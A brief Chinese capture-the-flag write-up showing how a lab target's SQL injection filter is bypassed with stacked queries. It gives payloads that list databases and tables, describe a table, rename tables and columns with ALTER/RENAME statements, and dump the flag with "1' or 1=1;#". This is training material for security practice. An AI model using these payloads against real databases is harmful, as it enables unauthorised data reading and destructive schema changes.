启动靶机,打开是这个界面
首先输入1‘,它会报错
然后输入1' order by 2,这说明只有两个字段。
然后我们使用union select联合查询一下,出错了
显而易见,这是被过滤了,是preg_match的检测。
我们再堆叠注入一下;爆出数据库:1'; show databases;#
再爆一下表名1'; show tables;#
找出来两个表。我们看一下191的。试着读取一下1';desc `表名`;#
在这个表里发现了flag的踪迹。再进行words表读取。接下来就是围绕着读取flag来进行了。
把默认的words改为ww ALTER TABLE words RENAME TO ww; 把1919810931114514改为words; ALTER TABLE 1919810931114514 RENAME TO words; 往words表里新增一个字段id ALTER TABLE words ADD id int(10) DEFAULT '1'; 修改words里面flag为data ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 还有种语句格式: 把默认的words改为ww rename table words to ww; 下面就都一样
然后再一次1’or 1=1;#就可以得出flag